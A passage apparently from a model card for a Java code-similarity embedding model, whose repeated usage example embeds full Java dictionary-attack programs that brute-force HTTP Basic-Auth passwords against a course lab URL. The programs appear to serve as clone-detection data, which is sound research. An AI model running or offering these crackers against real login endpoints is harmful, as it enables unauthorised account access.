\'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', 